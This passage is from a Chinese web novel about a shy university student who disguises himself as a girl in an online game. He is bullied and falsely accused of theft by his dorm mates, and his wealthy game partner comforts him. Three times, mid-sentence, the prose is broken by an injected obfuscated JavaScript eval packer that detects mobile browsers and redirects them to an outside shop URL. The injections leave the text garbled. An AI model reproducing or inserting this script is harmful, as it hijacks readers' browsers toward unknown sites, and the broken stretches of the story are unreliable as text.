【然：晚安】 . 翌日，黎清睁开眼。 迷迷蒙蒙间，他习惯性摸过枕边的手机，屏幕却没有像往常一样亮起，原来是关机了。 长按重新开机，主界面瞬间弹出了一大堆微信消息，全都是同一个人发过来的。 【然：怎么挂电话了】 【然：人呢】 【然：怎么不说话】 【然：睡着了？】 【然：醒了回我】 【然：晚安】 ……？ 因为刚睡醒，黎清还有点懵，一时没明白这些消息什么意思、为什么要发这么多条。随着意识回笼，他才逐渐意识到事情的严重性。 不好了。 记忆收束到昨晚。因为意外点开摄像头，黎清吓得第一时间就挂断了微信电话。因为害怕收到独孤的消息，竟是直接将手机关了机。 黎清慌乱极了，又不知道该如何处理，索性埋在被子里当缩头乌龟。 快动动脑筋啊，不是成绩很好吗？ 他蜷缩着身体，脑袋乱成一锅粥，却只是给自己平添更多的恐惧。 细思之间，黎清又想起自己曾看过的各路吃瓜贴，遇到这种故意装成异性的“人妖”，有人会给他们拉到游戏里的黑名单频道，避雷其恶劣的行径，开悬赏追杀。还有人会把他们挂到论坛里控诉，开户身份，供各路人士辱骂… 幻想接踵而至，黎清闭着眼睛。本以为自己会彻夜难眠，谁知却在被子里迷迷糊糊睡着了。一觉醒来后更是毫无心理准备地打开手机，迎接来自独孤的反应。 ——好像没看出什么？ 反复看了几遍对面发过来的话，黎清有点不敢确定。 完全没说摄像头的事，只是疑问自己为什么消失了，还能心平气的道晚安，完全不是想象中生气的样子。 短短几秒钟的时间，也许独孤根本没看清也说不定。 黎清定了定神，试探性地发过去几段话。 【清清绵绵冰：不好意思】 【清清绵绵冰：昨天困了，不小心睡着了】 【清清绵绵冰：早安】 这个谎言其实有些拙劣，哪有人前一秒钟还在说话，后一秒倒头就睡的。 黎清捏紧床单，将半张脸探出被子。 【然：早安】 【然：没事，好好休息】 【然：[红包]】 【然：记得吃早餐】 这是早餐钱？ 除却那天买袜子的转账，这还是独孤第二次打钱过来。 虽然平时他也会送些时装和道具，但游戏道具毕竟是虚拟的，换成了真实的数字，感觉其实挺奇怪的。 黎清觉得自己不该收。他不知道这个红包里有多少，也许只有十几块。但他现在已经不讨厌独孤了，之前的纠葛也慢慢化解，总归不该从他那里“捞”了。 另外，还有一些让黎清在意的事。 昨天晚上的那个电话，不为游戏，只是单纯的聊天。 感受到黎清紧张的颤抖，独孤好像笑了，怎么都不愿意挂，还说了些称得上暧昧的话。 双排、送礼物、打电话…黎清没谈过恋爱，但他懵懂时曾有过欣赏的女孩，也看过恋爱主题的影视剧。他们两个现在的相处模式，怎么看都不像是普通朋友。 带着这些想法，黎清愈发不安。他没有收红包，打算和独孤说清楚，但还没等开始打字，门外就传来闹哄哄的动静。 “靠，人那么多，热死了。” “哎，这宿舍里怎么一点都不凉快啊。” “空调坏了，你个傻鸟。” … 熟悉的声音自406外面响起，意识到门外的是什么人，黎清叹了口气。 今天是返校日，室友们回来了。 . 黎清至今都不知道自己为什么会被孤立。 学校安排的是四人寝，除他以外，另外几个都是其他专业的。 室友而已，不一定要处成朋友，相安无事就好。早在入学之前，黎清就这样告诉过自己。但命运总爱捉弄人，居然连这点简单的愿望都不让他如愿。 阴沉、娘炮、锯嘴葫芦…黎清知道他们背地里这样说自己。尽管没发生过什么矛盾，但对于这样一个过分纤细又内向寡言的同性，几人似乎总带着雄性天然的优越感，看过去的目光充满审视。 偏偏黎清性格太软弱，嘴巴也笨，不敢和室友起冲突。一年多的相处下来，虽不至于在明面上受欺负，但无形的排挤早已让他难受无比。 “有人在啊。” 宿舍没开灯，几个人还以为宿舍没人，开了灯才看见下铺的被子鼓鼓囊囊的，躺着个人在里面。 “…是我。” 黎清眼睛没来得及闭上，装睡也来不及了，只能小声表示自己的存在。 明明是大热天，空调也不是很制冷。床上的人却把身体全部包在被子里，只露出个头在外面，白皙的脸颊边都沁出汗珠，活像是刚做完什么剧烈运动。 “你生病了？” 走在最前面的男生挑了挑眉，放下行李。这人名叫孙昊，身材练的人高马大，是体育特长生，平时最瞧不起黎清这种风一吹就倒的瘦子。 “没，在睡觉。” 没想到孙昊居然主动“关心”自己，黎清只好回答。 “不热？” “开了空调，我感觉挺好的。” 脸都不知道红成什么样子了，还装出一副很凉快的样子。但没人拆穿黎清，本来关系就不算好，更没人关心他有没有生病。寒暄结束，室友们便开始收拾行李，大声聊起天来。 几人应该是坐学校组织的班车来的，不然也不会同时到校，凑在一起闹嚷嚷的。 放在平时，黎清早就离开了宿舍。但今天是返校日，学校里到处是学生和家长，人满为患，去哪里都不合适。 吵死了，黎清把头埋进了枕头，偷偷看向手机。 【然：怎么又不见了】 【然：小清】 一会儿没看微信，独孤又发来了好几句消息，看见最后的那句小清，黎清的心也莫名颤了一下，不知道怎么回才好。 【清清绵绵冰：室友回来了】 【清清绵绵冰：今天有点忙】 选择性忽略了那个红包，黎清再次熄灭屏幕。 人在心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995952|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情不好的时候，总会机械地做些无意义的事。就在他侧躺着身，第四次打开新闻软件的头条资讯，又莫名将app在后台清除时，就听见身旁爆发出一声相当大的惊叹。 “我操，这什么…薄款蕾丝女式丝袜？喂，你们快看，我发现了什么东西！” 什么？ 听见那几个关键字，黎清瞬间睁大眼睛，蜷缩着的身体也条件反射般弹起。 这…… 这不是他前些天买的“道具”吗！？ 不好的预感油然而生，黎清探出脑袋，悄悄看向被窝外面。只见一个室友正趴在过道上，伸头探向对面的床底。 被他的动静吸引，其他几个人也凑了过去，半天掏出来一个东西。廉价的塑料包装，薄薄的布料，赫然正是黎清之前网购的丝袜。 看见那熟悉的物件，黎清慌了神。 他一共买了两双丝袜，穿第一条的时候因为不熟练，不小心扯破了。他记得自己应该扔进了垃圾桶，怎么现在会出现在室友的床底下呢。 “我们宿舍为什么会有这种东西啊，都落灰了。” “在老二床底下发现的，老二是不是偷偷谈女朋友了？” “污蔑！老子就算交女朋友，这玩意也不会出现在这啊，把人带进来脱啊。” 在男生宿舍里发现了这种东西，几个室友的语气都相当激动，发出猥琐的笑声。 正是对这些感兴趣的年纪，只需要几个关键词，那点躁动不安的荷尔蒙就被轻易挑逗起来。 “操，我还是第一次摸这玩意儿，这么薄。” 一人把丝袜举起来，对着灯照了照。 “给我看看。” 个头最高的孙昊抢过那块布料，柔软的棉纶被团进手里捏了几下，接着竟然被送到鼻子前：“居然还有香味。” “变态啊大哥，这都敢闻，不知道在床底下放多久了，上面都是灰。” “老子没骗你们！” 几人又闹作一团，黎清的大脑却糊成一团。天知道他现在有多尴尬，自己穿过的丝袜竟然被室友拿在手中传递，又是看又是闻的，世界上还会有比这更诡异的场景吗。 但他没办法，只能眼睁睁看着，总不能让他们现在立马放下，说这是我的东西吧。 “真没人带女朋友来宿舍啊。” “带个毛，真要带那也是上学期的事了。课多的要死，每天除了上课就是在宿舍里打游戏，谁能带啊。” “除了他，他假期是不是留校了？” 转来转去，话题居然绕到了在场的第四个人身上。黎清不敢接茬，只能阖着眼假寐，装作完全睡着的样子。 “他啊，怎么可能。” “指不定是从哪…” “也是。” 好在这时，班级群发来通知。返校的同学们要在今天之内登记表格，填写返校时间，去教务处领取新学期的一些用品。 几人消停了下来，他们边聊着边走出寝室，丝袜还不知道在谁的手里。伴随一串离开的脚步，宿舍也终于重新归入沉寂。 总算是安静了。开学第一天就出了这种事，以后的日子还不知道要有多难过。思来想去，黎清下床换了身衣服，决定先出去避难。 就在他拿上手机和钥匙，即将踏出宿舍门时，微信小号很少有动静的朋友圈突然亮起了一个红点。点开一看，万年空白朋友圈的独孤居然破天荒地发了动态。 -然：【图片】【图片】【图片】 没有配文，只有几张图片。 第一张是夜景，画面中只看见路灯和拉长的影子，看着像是深更半夜拍下的。 第二张是在室内，昏暗的房间内，电脑屏幕和外设亮着炫彩的光晕，粗略扫过一圈，价格都相当令人咋舌。 第三张终于是亮了点，洗手池的镜子前，一个男生的侧脸倒映在其中。因为头发的遮挡和镜子反光，看不太清具体的长相，但从轮廓来看应该长得不错，竟有几分氛围感男头的味道。 “……？” 浏览完这条意味不明的朋友圈，黎清一时竟有些语塞，并收回了自己之前对独孤年龄的评价。 确实像个大学生，哥们这也太能装了。 11. 第十一章 开学之后，黎清玩天问的时间直接锐减。 【然：玩吗？今天晚上】 【清清绵绵冰：不太方便qwq】 “哎…” 连续三天拒绝了游戏搭子的询问，黎清低头叹了口气。 虽然早预料到开学后就不能经常玩了，但真发生了却又止不住的失落。 【然：又不行吗】 【然：好吧】 他是不是不高兴了，黎清猜测。 独孤最近的心情应该挺差的，从他发的朋友圈就能窥见一二，配图和内容都特别的高深莫测。 8月30日 -然：幸福总是一阵一阵的 9月1日 -然：真正影响到我情绪的人才是我在意的人 9月3日 -然：独行的世界 [配图：满桌子酒] 黎清点开大图。大理石桌面上摆满了开过的酒瓶，在灯光下泛着绚丽的光，奢靡的味道快从屏幕里溢出来。 那些酒他一个也不认识，只觉得瓶身设计得都挺有质感，包装上全是看不太懂的外文。七八瓶酒就这么敞着口，每瓶都剩了大半，也不知道一个人开这么多要喝到什么时候。 视线扫到桌子边缘的烟盒，黎清多看了眼。 他呼吸道不太好，对烟味十分敏感，不太喜欢抽烟的人。 不过隔着屏幕也闻不到，黎清管不着这个。只是看独孤现在这样的状态，总感觉下一秒就要发炫富照片，配文“我不要很多很多钱，我要很多很多爱”了。 不会就因为我没陪他打游戏吧… 黎清悄悄冒出这个念头，但又觉得自己太意识过剩了。独孤是谁啊，大帮会的帮主、战力榜前十，在游戏里是一呼百应的存在，哪会缺人陪玩。 大概是现实遇到了不顺心的事情吧……但这属于隐私，人家不说，黎清也不好问，只能在朋友圈下留言一个[摸摸头]的表情。 【清清绵绵冰：要不明天吧，明天晚上可以，但是我可能不方便开麦】 【然：好】 扭头看了看那几个赤裸上身、边看球边怪叫的室友，黎清再次叹了口气。一直让搭子迁就自己也不是事啊，真糟心，该早点搬出去住的。 还差一点点了，他打开账户余额，再次清点了一下小金库。 没和独孤双排的日子里他也没闲着，重新回归高效率的代练机器，接单子打游戏，同时还做了些短期次结的兼职，又赚了一些钱。 临睡前，黎清习惯性刷了下小号朋友圈，发现有个红点，果然是那个熟悉的头像。 -然：很像【图片】 这则朋友圈发送于十分钟前。配图是一只站在路边的猫咪，瞧着才几个月大，圆滚滚的一团，偏要龇牙咧嘴吓唬人，眼睛瞪得溜圆，半点威慑力没有。 真可爱。 看着这张照片，黎清笑了，眼睛弯成两个月牙。他抬手点了个赞，并在底下评论了一句。 【清清绵绵冰：有点像我们学校的一只流浪猫。它叫靓女，是一只可爱的小三花】 萧奕然则是很快回复。 【然：我遇到的这只是奶牛猫】 【然：更可爱】 黎清一愣，往上翻了翻照片，这猫明明是纯色的啊。 【清清绵绵冰：可你照片里的这只不是奶牛呀】 【然：嗯】 【然：我没说是图片里的】 ？ 谁能看懂他在说什么？ 黎清疑惑，萧奕然有时说话总像加密过似的，明明都是汉字，拼一起就让人看不懂。 算了，不纠结这个了。 他放下手机，缩进被子里。 今天的动态总算没那么伤感，这是好事，不然独孤早晚要改名叫孤独了。 . 公寓里很安静，只有电视屏幕上播放着僵尸被机枪扫射的嘈杂画面。 第四次听见身后传来叹气声后，坐在地上的男人终于忍不住了。他扔下手柄，抓了抓乱糟糟的头发，扭头看了过去。 “怎么，甜甜蜜蜜的网恋又出问题了？” 沙发上的人没承认，也没反驳，只是将枕头拉过来，闷头盖在了脸上。 青年个高腿长的躺在那，一张长沙发几乎要容不下，躺在那就像直挺挺的木头，还是一根被爱情风雨淋湿的木头。 想到这个形容，朋友差点没笑出声来，虽 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995953|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然发誓过不再掺和，但还是忍不住好奇，看萧大少吃瘪真的太有意思了。 “要不跟兄弟说道说道，军师来给你支招。” 他那副看热闹不嫌事大的表情实在太明显，幸灾乐祸都快溢出来了。萧奕然懒得理，转身重重关上房间。 回到房间，他坐到电脑桌前，看向还没关闭的微信界面。 三天了。 连续三天，小清都拒绝了他的游戏请求。原因都是室友在、不方便、有点忙。 萧奕然理解，但又有点怀疑。他是不住集体宿舍，可总知道大学生是什么德行。不说都是夜猫子，哪有人晚上十点钟就睡觉的？ 他翻了翻聊天记录，最近两次的转账都被对方婉拒了。平时最爱玩天问、连声望任务都愿意花时间做的人也不怎么上号了，简直就像在故意疏远他。 萧奕然有点不爽，也可能是不安，但他并不想承认，打算等下次约游戏的时候问清楚。 可今晚，约定的时间已经到了，等待的人却迟迟没有出现。微信不回，游戏不在，最后一次互动还是昨天晚上的朋友圈，距离现在已经接近二十小时了。 萧奕然皱着眉，就在他犹豫要不要直接打电话过去时，屏幕终于亮了起来。 【清清绵绵冰：对不起，今天我也不能玩了】 【清清绵绵冰：发生了一些事】 【清清绵绵冰：真的对不起，我不知道会这样】 【清清绵绵冰：很抱歉】 一连串话语隔着屏幕弹过来，文字间全是恳切的歉意和慌乱，仿佛能看见她垂头丧气的样子。 看见这些文字，萧奕然心里的烦躁一下就被浇灭了，转而变成浓浓的担心。 出什么事了？ 他看得出对方状态不对，想也没想就拨了语音电话过去。 第一个，没接。 第二个，也没接。 直到第三通拨出去，听筒里漫长的等待音才戛然而止，电话终于通了。 “怎么回事？” 萧奕然急忙询问。听筒那头却只有寂静，时间一秒秒过去，直到他以为手机信号出问题时，对面才传来一阵压抑的抽泣声，随后便是断断续续的微弱哭腔。 12. 第十二章 黎清小时候其实很娇气。有些人生来敏感，早在幼儿园时，他就是老师的特别关注对象。 算数题解不出来会哭，过家家扮妈妈会哭，甚至画画太用力把纸划破了都会哭。小小的孩子也有小小的心事，眼泪则是最天然的宣泄口。 但后来，家庭的变故，成长的烦恼，接受到的教育都告诉他，眼泪没有用。 慢慢的，黎清不哭了，很多情绪都被收敛起来，不是因为所谓的坚强，而是学会了不再袒露脆弱，变得越来越沉默。已经记不清自己上一次哭是什么时候了。 . 晚课结束，黎清照常回到宿舍。室友们有的在打游戏，有的在刷短视频，都在干各自的事。 他睡在四人寝的下铺，为了有一片隐私空间，给床铺外围装了一层厚厚的帘子。为此还被室友暗地讽刺了番，都是大老爷们还搞这些，就他事最多。 黎清才不理这些闲言碎语呢，洗完澡后，他钻进床铺里，支起小桌板放上笔记本电脑，拉上遮光的帘子，这样就可以安心玩游戏了。 距离约定的时间还有一会儿，黎清先登陆了单子号扫荡了个单人副本，正打算给老板养的灵宠喂食时，帘子却骤然从外面被拉开了。 “喂。” 拉开帘子的是孙昊，那个体育生。他体格高大，站在床边的身影黑沉沉的，乍一看十分有压迫感。 突如其来的变故吓黎清一跳，他没有将帘子的拉链完全拉上，那样太不透气，但这也不代表别人能随便拉开。 因为关系不好，室友们平时都把他当透明人，很少主动找他，今天这演的是哪一出？ “做什么？” 黎清警觉地抬头，摘下耳机。 “咳，老三说要找你聊聊。” 孙昊目光躲闪，想必没什么好事。 马上就要和独孤打游戏去了，黎清一点都不想和谁“聊”。但被人这样堵着，几乎是半逼迫着要求，也只能下床应对。 出于某种预感，黎清握着手机，提前按下录音键，走近那位被称为“老三”的室友身后。 这几个人因为关系好，按照年龄彼此排了大小，平日以代号相称。 黎清小学时跳过级，在宿舍应该是最小的，却没有被排成老四。不过他也不稀罕跟这群人称兄道弟，想想就够恶寒的。 “要说什么快一点，我等会还有事的。” 因为计划着要搬出去了，黎清最近胆子大了许多，被人强行打断游戏，心里不爽，说话的口气也不客气。 “没，就是想问你个事儿。”老三坐在椅子上，扯了扯嘴角。他拉开了书桌的抽屉，指着里面说：“我这里面放了个苹果手表，你看见了么？” “没。” 什么东西，见都没见过。黎清飞快否认，说着就想回到床边。正欲转身，手腕却被一股力道向后扯住。 “哎，别走啊。”老三伸手，居然直接拉住了黎清，害他一个趔趄差点摔倒。 “还要干嘛！” 黎清再次扭过头，皱起眉，不高兴的看向老三。罪魁祸首却还是嬉皮笑脸的样子，继续说道：“我平时一直都放抽屉里，放假忘记带回去了，现在一个假期回来，表没了，你难道不该给点解释？” 原来是怀疑自己偷东西。 黎清心一惊，先是有些茫然，随后便是无边的愤怒。 “我给什么解释，没拿就是没拿，我都不知道你有一块苹果手表，而且我也从来没碰过你们的桌子。” 这真的是肺腑之言，他们的桌子黎清平时都不愿意靠近，总感觉脏兮兮的，扫除的时候也只做自己那块的卫生。 他的说法显然不能让对方满意。因为闹出的动静，其余几个室友也围了过来，七嘴八舌地说： “放假前还在，放假后就没了？可是这时间我们都不在宿舍啊。” “那块黑色的表老三之前一直戴着，也不至于说没看过吧。” “话说还有人还记得床底下的丝袜吗？咱们这宿舍怎么一会儿丢东西，一会儿又多出来些别的，怕不是有鬼。” “哈哈，心里有鬼吧。” 他们像是在分析，实则话里话外都是偏心，毫无公正。被这样诬陷，还要被人充当理中客劝说别太冲动，黎清咬紧嘴唇，呼吸也急促起来。 “我说了我没拿…就是，就是没有。” 他好恨自己嘴巴笨，这种时候都说不出什么有力的辩驳，情绪激动时甚至有点结巴：“那你呢，你有证据吗？” “证据吗，目前没有。” 老三摊了摊手：“但没办法，我也不想怀疑你的。可放假期间只有你在，我们宿舍又没装监控。这样吧，你把你的抽屉还有柜子这些地方给我们检查一下，如果没有，我就信你没拿了。” 这哪里叫推测，分明恨不得直接给人扣上小偷的帽子，还要搜别人的东西。摆明的强盗逻辑，应该叫定罪才是。 黎清面色涨红，气的发抖，坚决不同意：“不行！” “你们凭什么搜我的柜子，这是诬陷。好，你怀疑我，那我们就去找辅导员，打电话让他过来，让他当着所有人面搜，你敢不敢？如果他也搜不到结果就报警！” 这时候黎清思路已经有点乱了，但态度绝不让步。见他情绪激动，有将事情闹大的意思，另外几个人纷纷打起圆场。 “别别别，这么晚了，辅导员估计休息了，打扰人家干什么。” “哎，刚刚不说要好好沟通吗，怎么还是吵起来了。” “这样，都先别说这个了。黎清你别打电话，老三你也再好好找找，大家都睡一觉，也许明天又找到了呢？” 几人一唱一和，正话反话都说尽了。好像他们有多冷静，无理取闹的人是黎清一样。 黎清哪里还有心思睡觉啊，他现在和这几个人站在一处屋檐下、呼吸同一片空气都嫌恶心，甚至隐隐感觉到有些天旋地转。 不行，一秒钟都不想再待在这里了…好想吐… 这样想着，黎清握着手机就冲出了宿舍门，完全无视了身后传来的呼喊声。 他迈开腿，用力奔跑在晚风之中，完全不知道该去往哪里，只想赶紧逃离那压抑的地方。 难过，愤怒，不可置信…直到他累的不行的时候，才发现自己竟一路从西边的宿舍楼跑到了学校最东边的操场上。 “呼…呼…” 体力过分消耗，黎清不停喘着气，拖着两条软绵绵的腿走进操场，缓缓坐在了跑道旁边的台阶上。 今晚，约好了要和独孤打游戏的。 想起这件事，黎清亮起手机屏幕。已经过了他们定下的时间，好几条来自对方的未读消息也亮着红点。 他不知道该怎么解释，是实话实说，和室友吵架了，其实我就是因为他们才一直不能和你玩的。还是编个理由，突然有急事要忙，又要放你鸽子了？ 各种各样想法在脑子里闪过，就在黎清思绪混乱的时候，对面的电话直接打了过来。 “叮铃铃——” 已经九点多了，空旷的操场中零星只有几人在跑步，周围十分安静。黎清没有接，虽然上次用本音也没有露馅，但他怕独孤今天又听出来，决定用文字说明。 一个，两个，直到第三个电话锲而不舍的拨过来，看见那个一次又次弹出的熟悉头像，黎清最终还是接通了。 “怎么回事？你还好吗？” 急切的语气，电话那头的年轻男人正迫切的想要知道小清的状态，确认是否没事。面对这样直白的关心，刚才在宿舍对峙都忍住了眼泪的黎清突然鼻子一酸，张嘴哭了出来。 . “然后他们就要搜我柜子，我不同意…” 夏夜的晚上，风有些微凉。操场的角落中，一个蹲坐在台阶上人正对着电话说着什么。 心情难受，又哭的喘不上气，黎清没空夹嗓子了，抽噎着对独孤说明白事情的来龙去脉。顺便还把自己在寝室的处境交代了一遍，最近不能玩游戏也是因为这个。 “嗯，不同意是对的，他们这是霸凌。” 电话那头，独孤的声音也染上情绪：“别听他们说的，这件事不能就这么算了。你说你录音了？” “嗯。” “那就好，明天你就带着录音去找教务处，别找辅导员了，直接让教务处的人处理，态度坚决一点，丢了东西大不了报警。一定要让他们意识到你被欺负了，不是同学间的小打小闹，非常生气。” “好。” 黎清一一作答，这会儿他没有刚刚哭的那么凶了，只是还有些抽泣，带着严重的鼻音，情绪却慢慢稳定了下来。 “阿嚏——” 发泄之后则是茫然，又一阵风吹过，黎清打了个冷颤，打了个喷嚏。这才意识到自己这么晚了还在操场，身上只穿着睡衣和一件薄外套。他真不想回宿舍了，可是不回宿舍又能去哪呢？ 电话那头的人显然也听见了这个喷嚏，并同时关心起黎清的去处问题。 “你还在外面吗，现在很晚了。如果不想回去的话，就在附近找个宾馆住吧。” 宾馆可以，虽然没带身份证，但现在手机里都有电子的，住一晚应该问题不大。 问题是价格。 黎清搜了一下，因为是当晚临时入住，附近的空房间已经很少了，价格也比提前预定贵上很多。 实在不行去图书馆凑合一夜吧，里面有水有电，休息室还有沙发。黎清暗暗想着，没有回应独孤的提议。 “去住宾馆吧，房费我出。” 他思考的间隙，对方已经直接给他做好了决定，并在微信转了五千过来。 哪里的房间需要这么贵啊？ 黎清震惊，其实三四百估计就够了，只是他连这些钱也心疼，才犹豫了一下。谁知独孤却好像能洞悉他的想法，抬手就是转账， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16995954|193869||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 甚至在黎清开口拒绝前就抢着说道： “你要是还把我当朋友的话，就把钱收了。” “噢……” 黎清乖乖收下，脸颊有些发热，比起看见钱的激动，更多的则是心中涌动的暖流。 就住一晚吧，找个最便宜的，剩下的到时候补上还给他。 “找个名气大的、连锁的，不要图便宜去那种小旅馆，一个人在外面要注意安全，到了之后拍照给我检查。” 很好，对方又一次预判了黎清，连他会挑便宜都想到了。 不愧是游戏里叱咤风云的帮主，习惯处于上位，真安排起事情来总带着不由分说的掌控欲。若不是二人关系还没到那一步，他大概会直接让黎清将发定位过去。 “我知道了，不会的。” 黎清脸更烫了。这什么语气……好像自己有多笨似的。而且这不叫图便宜，只是综合考量性价比而已。 但话都说到这个份上了，不仅主动要报销房费，甚至还要检查，黎清最终打开了手机，订了个附近品牌最出名的宾馆。 接近上千块一晚，普通单人套房，他长这么大都没住过。两人就这样挂着，一路走一路说话到了门口，怕暴露些不该暴露的东西，黎清这才挂了电话。 “不聊啦，我要办理入住了。” “行，到房间记得拍照发我。” “好哦。” 怎么感觉被牵着走一样，黎清迷迷糊糊走进了富丽堂皇的大厅，浑然不知自己这个性格，日后落入对方手里会发生什么。 办理好入住，黎清拿着房卡来到了自己的房间。果然环境很好，不仅空间宽敞，装修精致，各类电器一应俱全，外头还带一个漂亮的露台。 进去之后，他首先就拍了张照片，发给了替他报销房费的人。 【然：怎么不去我说的那个？】 他之前是说了个酒店的名字，黎清查了下，价格贵的咋舌，一晚上顶他几个月生活费，怪不得独孤一下子转这么多钱过来，这些钱还真的只够住一两晚。 【清清绵绵冰：学校附近没有】 【清清绵绵冰：这个也很好了】 好歹是个知名的商务连锁，总算通过了对方的检查。 虽然之前在宿舍洗过澡了，但刚才跑步又出了汗，黎清重新冲洗了一遍，简单收拾了下，等到躺在柔软的大床上时，时间已经快十一点了。 【清清绵绵冰：谢谢你，今天】 想起还没和独孤正式道谢，黎清赶紧补了一个。他想感谢的不仅是那笔转账、这个房间，更多的是心灵上的慰藉。 黎清从前在初高中时也有朋友，那时他还没那么沉默，但随着升学或工作，各自总会去往不同的城市，慢慢都淡了联系。 成年就像一个诅咒。进入大学后，他的经济状况一下子变差，总是忙于兼职，又在和室友的相处中感到社交的痛苦，根本没精力跟同学维持关系。 好在合适的人总会出现，不管以什么样的方式。尽管只是网友，但在黎清最无助的时候，总有人站在自己身后。这才是他想感谢的。 独孤没回，估计快睡了。黎清盖上被子，翻个身想要睡觉时，一个电话再次打来。 “喂？你还没睡觉啊。” 黎清把头蒙在被子里，小声的说话。他现在状态稳定了，总算想起了自己没有变声器的事，只敢用气音发声，希望声音能再细一点点。 “睡不着。你声音怎么这么小？” 其实他高估了独孤，这个人现在深陷其中，观察力基本为零。再加上黎清本身的嗓音条件也不算“阳刚”，压根听不出不对劲。 两人之前天天连麦，一连就是那么久，对彼此的语调和说话习惯早已熟知。哪怕声线有所变化，陷入单方面热恋的人也只会觉得小清和自己挤气泡音一样，在暧昧对象面前故意拧嗓子而已。 “没，刚刚离手机有点远。” 这个电话又是要干嘛呢，黎清想着。身处舒适的环境，心情有所好转，之前哇哇大哭的时候还没觉得，现在回头看来，今晚的一切都蒙上了层说不清道不明的色彩。 “有什么事吗，没事我挂了，有点困。” 心脏突然重重跳了几下，黎清有点慌乱，本能就想脱离这种奇怪的氛围。听到他要挂电话，对面连声制止：“别！别挂。” “就这么连着睡觉好不好。你困了就闭眼睛，什么都不用说。” 这是什么意思啊。黎清不懂那些网恋情侣间的趣味，感觉怪怪的。可是独孤都这样求自己了，今天他又帮了自己许多，拒绝这点小事总感觉不太好。 “好吧。” 黎清同意了，他连上充电器，没有挂掉电话，就这样将手机放在了枕头边。 “晚安。” “嗯，你也是。” 互道的晚安声中，黎清闭上眼睛，呼吸逐渐平缓，终于结束了这精疲力尽的一天。 13.第十三章 翌日，黎清十点多才醒。 酒店的床很柔软，周围也很安静，一不留神就睡过了头。 “醒了？” “嗯…” 半梦半醒间，黎清哼哼唧唧翻了个身，又过了十几秒才慢慢睁开眼。 意识朦胧间，他循着声源，睡眼惺忪地朝枕头旁看去，等到涣散的目光终于对焦，看清楚手机屏幕上的内容时，才发现了一件惊人的事。 ——昨晚的那通电话，居然一直到现在都没有挂。 黎清不可置信地举起手机，屏幕上的通话时间赫然到达了惊人的四百分钟，并且还在一分一秒持续增加着。 他从来没和人通电话这样久，更何况还是连着睡觉。虽然本人没有意识，全程在睡梦中度过，但依然觉得非常不真实。 “喂？怎么不理我。又睡着了吗，小猪。” 这边一直不说话，独孤的声音再次传来。他的心情似乎非常不错，话音带着调笑。 什么？ 沉浸在通话一整晚的震撼中，乍一听见这句，黎清差点以为自己产生了幻听。 是我听错了吗，其实独孤刚才说的是小清吧… 他眨了眨眼坐在床边，有点不敢相信。这个语气轻快又荡漾的人，真的是昨晚那个冷静又让人安心的独孤吗？ “叫我什么呢！” 直到对面又重复了一次，黎清才涨红着脸回应。因为刚睡醒，声音没什么力气的，比起发怒，更像不痛不痒地撒娇，惹得电话那头又是一阵低低的笑： “我说错了吗。你睡的好香，还打呼噜，好像一只小猪。” 我还打呼噜了！？ 黎清顿觉五雷轰顶。 他还是第一次知道自己睡觉会打呼噜，明明之前从来都没人跟他提过。 其实吧，打呼噜也不算什么，尤其是在男生宿舍里。但经历过昨晚的事，黎清自认为麻烦了独孤。被室友欺负、哭着打电话诉苦已经够丢人了，怎么可以又在他面前出丑一次呢？ 想到这些，他羞耻地将脸埋进枕头，刚睡醒的皮肤本就格外薄嫩，这下更是白里透粉，火烧云霞一样，颊边的肉也被挤得微微变形。 “对不起，打扰到你休息了。” 一阵无声的呐喊后，黎清小声道歉，显然情绪十分低落，陷入了奇奇怪怪的内耗之中。 “不是！我乱说的。” 没想到随口开的玩笑被当真了，电话那头的人连忙解释。 “没有打呼噜。你睡觉一点声音都没有，都不怎么翻身的，很乖。” 你怎么知道我不翻身，难道你一整个晚上都有在听吗？ 听他信誓旦旦的语气，黎清本能想反问，但还是憋住了。一再确认是真话后，心里那点疙瘩才终于解开，也就忘记了这人刚才乱给自己起绰号的事。 “不聊啦，我要回学校了。” “需要在电话里陪你吗？” “不用。” 不能再麻烦独孤了，他已经做了很多，我也应该更勇敢一点。 黎清将手机塞进口袋，决定自己解决剩下的事。 . 回到校园，黎清首先没有去教务处，而是回了趟宿舍。 昨天晚上他走得急，就里面穿着睡衣，外面披了件外套。天黑看着不显眼，到了白天还是有点奇怪，去之前得先换套衣服。 站在门外深呼吸，做了好久心理建设，黎清最终推门进去。 宿舍里就一个人，孙昊，也就是昨天晚上将黎清从床上叫下来的人。 孙昊正在打游戏，噼里啪啦的枪声不绝于耳，战况十分激烈。 